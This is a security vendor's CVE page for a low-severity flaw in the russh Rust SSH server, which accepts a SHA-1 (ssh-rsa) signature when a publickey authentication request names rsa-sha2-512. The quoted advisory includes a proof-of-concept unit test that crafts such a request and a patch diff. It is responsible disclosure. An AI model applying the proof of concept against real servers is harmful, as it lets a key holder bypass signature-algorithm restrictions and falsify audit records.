HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 111062 a russh ssh server accepts a publickey
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Sponsor
  • Advertise
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright © 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
Low severityCVE-2026-111062GHSA-J7H2-66J4-GHJF

A russh SSH server accepts a publickey authentication whose signature uses a different algorithm than the one named in the requestCVE-2026-111062

Answer in brief

CVE-2026-111062 records a Low severity vulnerability in A russh SSH server accepts a publickey authentication whose signature uses a different algorithm than the one named in the request. The current sources do not mark it as known exploited. The current feed maps russh (rust). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Oct 19, 2026Updated Oct 19, 2026Source checked Oct 19, 2026First seen by HOL Oct 19, 2026Material review Oct 19, 2026
Upstream Advisory

Key facts

Risk
Low
Exploitation
Not marked as known exploited
Affected software
1 mapped package or product
Fix availability
Available

Why this deserves its current priority

A CVSS score is not reported in the current record. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps russh (rust). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
russhrust>=0.34.0-beta.1,<0.64.00.64.0

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for russh.
  2. 2Review the reported fix. Update russh to 0.64.0 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Oct 19, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Oct 19, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Oct 19, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
Upstream source description

### Details In `russh/src/server/encrypted.rs`, `server_read_auth_request_pk` (0.63.3, around lines 880-990): * The requested algorithm name (`pubkey_algo`) is read and only used to decode the key: `PublicKeyOrCertificate::decode(&pubkey_algo, &pubkey_key)`. The derived `hash_alg` is then dropped (`PublicKeyOrCertificate::PublicKey { ref key, .. }`). * The signature blob is decoded (`Signature::decode`) and verified with `Verifier::verify(&pubkey, &buf, &sig)`. `ssh-key` picks the hash from **the signature's own algorithm** (`sig.algorithm()`). * `pubkey_algo` and `sig.algorithm()` are never compared. So for an RSA key, the request can say `rsa-sha2-512` while the signature is `ssh-rsa`. The signature is valid for SHA-1, verification succeeds, and `Handler::auth_publickey` is called. **Affected versions: every russh release, from the first (`0.34.0-beta.1`, 2022-03) through 0.63.3 and current `main`.** The behaviour is inherited from `thrussh`, which russh was forked from. The mechanism changed over time, but the outcome is the same: the hash is always taken from the signature blob, never checked against the request. * **Up to 0.46:** after reading the algorithm name inside the signature blob, russh overwrites the key's hash with it (`pubkey.set_algorithm(algo_)`), then verifies. * **From 0.47/0.48 (move to `ssh-key`):** the signature is decoded with its own algorithm (`sig_workaround::Sig::decode`, later `Signature::decode`) and verified with it. Confirmed by running the PoC below on 0.63.3. Confirmed by reading the code of `server/encrypted.rs` in 0.34.0-beta.1, 0.34.0, 0.36.0, 0.36.1, 0.37.1, 0.40.2, 0.43.0, 0.45.0, 0.46.0, 0.48.2, 0.50.4, 0.54.6, 0.58.1, 0.63.1, 0.63.3 and `main` (2026-09-30), and in thrussh 0.33.5. ### PoC A unit test in the existing test module of `russh/src/server/encrypted.rs`. It uses the module's own helpers (`test_auth_session`, `sign_with_hash_alg`, `PrivateKeyWithHashAlg`) and needs no network or configuration. 1. Check out russh 0.63.3, or `main`. 2. Paste the code below inside `mod tests { ... }` of `russh/src/server/encrypted.rs`. 3. Run `cargo test --lib poc_sha1`. ```rust // ---- PoC: signature algorithm not checked against the requested one ---- /// Records whether `auth_publickey` (called only after the signature /// verified) was reached. #[derive(Default)] struct AcceptAnyKey { authenticated: bool, } impl Handler for AcceptAnyKey { type Error = Error; async fn auth_publickey_offered( &mut self, _user: &str, _public_key: &PublicKey, ) -> Result<Auth, Self::Error> { Ok(Auth::Accept) } async fn auth_publickey( &mut self, _user: &str, _public_key: &PublicKey, ) -> Result<Auth, Self::Error> { self.authenticated = true; Ok(Auth::Accept) } } /// A signed publickey request that names `announced` as its public key /// algorithm, but is signed with `hash` (`None` = `ssh-rsa`, SHA-1). fn signed_request_announcing( user: &str, private_key: Arc<PrivateKey>, announced: &str, hash: Option<crate::keys::HashAlg>, ) -> Vec<u8> { let mut packet = Vec::new(); packet.push(msg::USERAUTH_REQUEST); user.encode(&mut packet).unwrap(); "ssh-connection".encode(&mut packet).unwrap(); "publickey".encode(&mut packet).unwrap(); 1u8.encode(&mut packet).unwrap(); announced.encode(&mut packet).unwrap(); private_key.public_key().to_bytes().unwrap().encode(&mut packet).unwrap(); let mut signed = Vec::new(); CryptoVec::new().as_ref().encode(&mut signed).unwrap(); signed.extend_from_slice(&packet); let signature = sign_with_hash_alg(&PrivateKeyWithHashAlg::new(private_key, hash), &signed).unwrap(); signature.encode(&mut packet).unwrap(); packet } #[tokio::test] async fn poc_sha1_signature_accepted_when_rsa_sha2_512_is_announced() { let rsa = ssh_key::private::RsaKeypair::random(&mut rand::rng(), 2048).unwrap(); let private = Arc::new(PrivateKey::from(rsa)); let mut session = test_auth_session(); let mut handler = AcceptAnyKey::default(); // The request says rsa-sha2-512; the signature blob is ssh-rsa (SHA-1). let packet = signed_request_announcing("alice", private, "rsa-sha2-512", None); session.process_packet(&mut handler, &packet).await.unwrap(); // RFC 8332 §3: the signature algorithm must be the requested one, so // this request must be rejected. On russh 0.63.3 it is accepted. assert!( !handler.authenticated, "an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512" ); } ``` Result on unmodified 0.63.3: ``` test server::encrypted::tests::poc_sha1_signature_accepted_when_rsa_sha2_512_is_announced ... FAILED panicked at src/server/encrypted.rs: an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512 ``` With the fix below, the test passes and the whole library suite still passes: `cargo test --lib` gives 186 passed. Suggested fix: reject a mismatch through the existing `reject_auth_request(until, ...)` path, so the constant rejection time is kept. ```diff --- a/russh/src/server/encrypted.rs +++ b/russh/src/server/encrypted.rs @@ -1023,6 +1023,21 @@ map_err!(ensure_end(&signature_reader))?; map_err!(ensure_end(r))?; + // RFC 8332 §3: the signature must use the algorithm the + // request names. + let offered_algorithm = match pk_or_cert { + PublicKeyOrCertificate::PublicKey { .. } => ssh_key::Algorithm::new(&pubkey_algo), + PublicKeyOrCertificate::Certificate(_) => { + <ssh_key::Algorithm as crate::helpers::AlgorithmExt>::new_certificate_ext(&pubkey_algo) + } + }; + if offered_algorithm.ok().as_ref() != Some(&sig.algorithm()) { + debug!("signature algorithm does not match the requested one"); + auth_user.clear(); + reject_auth_request(until, &mut self.write, auth_request).await?; + return Ok(()); + } + let is_valid = if accepted_probe_matches && user == auth_user { true } else { ``` ### Impact This is a missing check on the signature algorithm (improper verification of a cryptographic signature's algorithm, CWE-347) in the server's `publickey` authentication. Who is impacted: applications that use russh as an **SSH server** and rely on the requested algorithm to restrict, record or audit user-key signature algorithms. For example: * a server that refuses SHA-1 (`ssh-rsa`) signatures, as OpenSSH does by default since 8.8; * a server that logs which algorithm a client authenticated with. Such a server can be made to accept a SHA-1 signature, or to record `rsa-sha2-512` for one, by any holder of a valid RSA key. Not impacted: * russh clients; * authentication strength beyond the choice of hash, since a valid signature by the private key is still required; * Te RSA keys were examined, the case where one key admits several signature algorithms (`ssh-rsa`, `rsa-sha2-256`, `rsa-sha2-512`). We did not test other key types.

Quoted source text, attributed separately from HOL analysis.

Record context

Vulnerability class
Missing Auth
EPSS
Not reported
CWE IDs
CWE-347
Source
GitHub Security Advisories
Source checked
Oct 19, 2026
References
4 linked sources
Open source record